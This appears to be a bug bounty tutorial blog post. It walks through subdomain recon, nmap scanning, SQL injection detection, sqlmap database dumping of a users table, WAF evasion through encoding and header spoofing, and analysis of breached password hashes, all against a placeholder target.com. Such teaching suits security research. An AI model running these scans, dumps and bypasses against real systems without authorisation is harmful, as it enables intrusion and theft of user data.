The Bug Bounty Blueprint: From Zero to Hero with SQL Injection and OSINT

By /

Listen to this Post

Featured Image

Introduction:

The digital landscape is a new frontier for treasure hunters, where bug bounty programs offer substantial financial rewards for discovering and responsibly disclosing security vulnerabilities. This article provides a foundational blueprint for aspiring bug hunters, detailing the essential commands, techniques, and mindset required to transition from novice to a proficient security researcher. We will dissect a real-world SQL injection case and outline the core technical skills needed to replicate such success.

Learning Objectives:

  • Understand and execute fundamental reconnaissance and vulnerability scanning techniques.
  • Master the process of identifying and exploiting common web application vulnerabilities like SQL Injection.
  • Learn to utilize command-line tools for efficient bug hunting and post-exploitation analysis.

You Should Know:

1. The Art of Reconnaissance: Discovering Your Targets

Effective bug hunting begins with comprehensive reconnaissance to identify potential targets and entry points.

Command 1: Subdomain Enumeration with `subfinder`

subfinder -d target.com -o subdomains_target.txt

What this does: `subfinder` is a passive subdomain discovery tool that queries numerous public data sources to find subdomains associated with a root domain.

Step-by-step guide:

  1. Install `subfinder` via your package manager (e.g., go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest).
  2. Run the command, replacing `target.com` with the domain of the bug bounty program you are testing.
  3. The tool will output a list of discovered subdomains into the file subdomains_target.txt. This list forms your initial target scope.

Command 2: Probing for Live Hosts with `httpx`

cat subdomains_target.txt | httpx -silent -status-code -title -tech-detect -o live_targets.txt

What this does: `httpx` takes a list of domains/subdomains and probes them to determine which are active HTTP/HTTPS servers. It also gathers valuable information like the HTTP status code, page title, and detected technologies.

Step-by-step guide:

  1. Pipe the output of your subdomain list (from subfinder) into httpx.
  2. The flags -status-code, -title, and `-tech-detect` enrich your output with critical data for prioritization.
  3. The results are saved to live_targets.txt, providing a curated list of active web applications to test.

Command 3: Port Scanning with `nmap`

nmap -sV -sC -T4 -p- target.com -oA nmap_scan_target

What this does: `nmap` is the industry-standard network exploration and security auditing tool. This command performs a comprehensive port scan.

Step-by-step guide:

  1. -sV: Probes open ports to determine service/version info.
  2. -sC: Runs a default set of NSE (Nmap Scripting Engine) scripts for further discovery.

3. `-p-`: Scans all 65,535 ports.

  1. -T4: Sets the timing template for faster execution.
  2. -oA: Outputs results in all major formats (normal, grepable, and XML).

2. Identifying the Vulnerability: The SQL Injection Hunt

SQL Injection (SQLi) remains a crown jewel for bug hunters due to its critical impact. It occurs when an attacker can interfere with the queries an application makes to its database.

Command 4: Automated SQLi Scanning with `sqlmap`

sqlmap -u "http://target.com/page.php?id=1" --batch --level=3 --risk=3 --dbs

What this does: `sqlmap` is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws.

Step-by-step guide:

  1. Identify a potentially vulnerable parameter, such as in a URL (id=1), form field, or cookie.
  2. Run `sqlmap` against the target URL. The `–batch` flag runs non-interactively, using default choices.
    3. `–level` and `–risk` increase the thoroughness of the tests.
    4. `–dbs` attempts to enumerate the available databases if a vulnerability is found.

Command 5: Manual Testing with `curl` for Error-Based SQLi

curl -s "http://target.com/page.php?id=1'" | grep -i "error|sql|warning"

What this does: This manual technique sends a single quote (') to break the SQL query syntax. A detailed error message in the response can indicate a SQLi vulnerability.

Step-by-step guide:

  1. Use `curl` to send an HTTP request to the target parameter, appending a single quote.
  2. Pipe the output to `grep` to search for common error keywords.
  3. If you see SQL-related errors, the parameter is likely vulnerable to error-based SQL injection.

3. Exploitation and Proof-of-Concept

Once a vulnerability is confirmed, a proof-of-concept (PoC) is required for the bug bounty report.

Command 6: Extracting Data with `sqlmap`

sqlmap -u "http://target.com/page.php?id=1" -D target_db -T users --columns --dump

What this does: This command instructs `sqlmap` to extract data from a specific database and table.

Step-by-step guide:

  1. After identifying the databases (--dbs), select one with -D.
  2. List the tables within that database, then specify a table with `-T` (e.g., users).
  3. The `–columns` flag lists the columns, and `–dump` retrieves all the data from the table. Only use this to the extent necessary to prove the vulnerability in a test environment or with explicit permission.

Command 7: Simple Boolean-Based Blind SQLi Test

curl -s "http://target.com/page.php?id=1 AND 1=1"
curl -s "http://target.com/page.php?id=1 AND 1=2"

What this does: In Blind SQLi, the application’s response changes based on the truth of a SQL statement, without returning database errors.

Step-by-step guide:

  1. Send a request with a condition that is always true (1=1). Note the response (e.g., “user exists”).
  2. Send a request with a condition that is always false (1=2).
  3. If the application’s response differs between the two requests, it is likely vulnerable to blind SQL injection.

4. Post-Exploitation and Data Analysis

After successful exploitation, analyzing the extracted data is crucial.

Command 8: Parsing JSON Data with `jq`

cat extracted_data.json | jq '.[] | select(.email | contains("admin"))'

What this does: `jq` is a lightweight command-line JSON processor. It is invaluable for sifting through data dumps from APIs or tools.

Step-by-step guide:

  1. If your extracted data is in JSON format, you can use `jq` to parse it.
  2. This command reads a file `extracted_data.json` and filters for objects where the email field contains the string “admin”.

Command 9: Sorting and Analyzing Password Hashes

cat password_hashes.txt | sort | uniq -c | sort -rn

What this does: This pipeline sorts a list, counts the occurrence of unique lines, and then sorts the result by count in reverse numerical order.

Step-by-step guide:

  1. Useful for finding the most common passwords in a breached hash list before attempting to crack them.

5. Staying Organized and Collaborative

Bug hunting is not just about technical skills; it’s about process.

Command 10: Tracking Findings with Basic `git`

git init bugbounty_log
git add .
git commit -m "Added recon data and initial SQLi PoC for target.com"

What this does: Using a local `git` repository helps version-control your notes, scripts, and proof-of-concept files.

Step-by-step guide:

  1. Initialize a new git repository in your working directory.
  2. Add all current files to the staging area.
  3. Commit them with a descriptive message. This creates a historical record of your work.

6. Web Application Firewall (WAF) Bypass Techniques

Modern applications often use WAFs to block common attacks. Bypassing them requires creativity.

Command 11: Obfuscating Payloads with URL Encoding

echo "UNION SELECT" | xxd -p | sed 's/(..)/%\1/g'

What this does: This command takes a string and converts it into its URL-encoded equivalent, which can sometimes bypass naive WAF filters.

Step-by-step guide:

1. `echo` sends the string “UNION SELECT” to the next command.
2. `xxd -p` converts it into a hex dump in plain format.
3. The `sed` command formats the hex output by adding a `%` before every two characters, creating the URL-encoded string.

Command 12: Using a Custom HTTP Header with `curl`

curl -H "X-Forwarded-For: 127.0.0.1" -H "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1)" http://target.com/page.php?id=1

What this does: Spoofing headers like `X-Forwarded-For` or `User-Agent` can help evade IP-based or user-agent-based blocking.

Step-by-step guide:

  1. The `-H` flag is used to add a custom header to the HTTP request.
  2. Setting the `User-Agent` to a known web crawler (like Googlebot) can sometimes result in different, less restrictive handling.

  3. The Final Step: Crafting the Perfect Bug Report
    A well-written report is as important as the finding itself.

Command 13: Creating a Professional Report Template

cat > bug_report_template.md << EOF
 Vulnerability: SQL Injection in /page.php
Target: target.com
Parameter: id
Severity: Critical

Proof of Concept
Steps to reproduce...
EOF

What this does: This `cat` command with a “here document” (<< EOF) creates a pre-formatted markdown file for your bug reports, ensuring consistency and professionalism.

Step-by-step guide:

1. Run this command in your terminal.

  1. It will create a file named `bug_report_template.md` with the provided content.
  2. You can then copy and customize this template for each new finding.

What Undercode Say:

  • Methodology Over Tools: Success in bug bounty hunting is 20% about the tools and 80% about the methodology, creativity, and persistence of the hunter. Tools like `sqlmap` are powerful, but understanding the underlying vulnerability allows you to find flaws that automated scanners miss.
  • The Power of Community: The original post highlights the collaborative nature of bug hunting. Sharing knowledge on platforms like Telegram or dedicated forums accelerates learning and leads to more significant discoveries, as evidenced by the joint finding mentioned.

The analysis reveals that the barrier to entry for bug hunting is lower than ever, thanks to powerful open-source tools. However, this also means the landscape is competitive. The hunters who succeed are those who go beyond running scripts; they develop a deep understanding of application logic, business contexts, and emerging technologies. The shift towards API security and cloud-native applications means the toolkit must constantly evolve, but the core principles of reconnaissance, testing, and analysis remain constant.

Prediction:

The democratization of hacking tools and knowledge will lead to a surge in sophisticated bug bounty submissions, forcing organizations to adopt more proactive and continuous security testing measures. We predict a future where AI-powered vulnerability hunters will work alongside humans, scanning code and live applications 24/7. This will push the security industry towards a “DevSecOps on steroids” model, where vulnerability detection and remediation are fully automated and integrated into the software development lifecycle from the first line of code. Bug bounty platforms will evolve to incorporate these AI agents, creating a hybrid human-AI hunting ground that discovers vulnerabilities at an unprecedented scale and speed.

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Alexandre Rodrigo – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: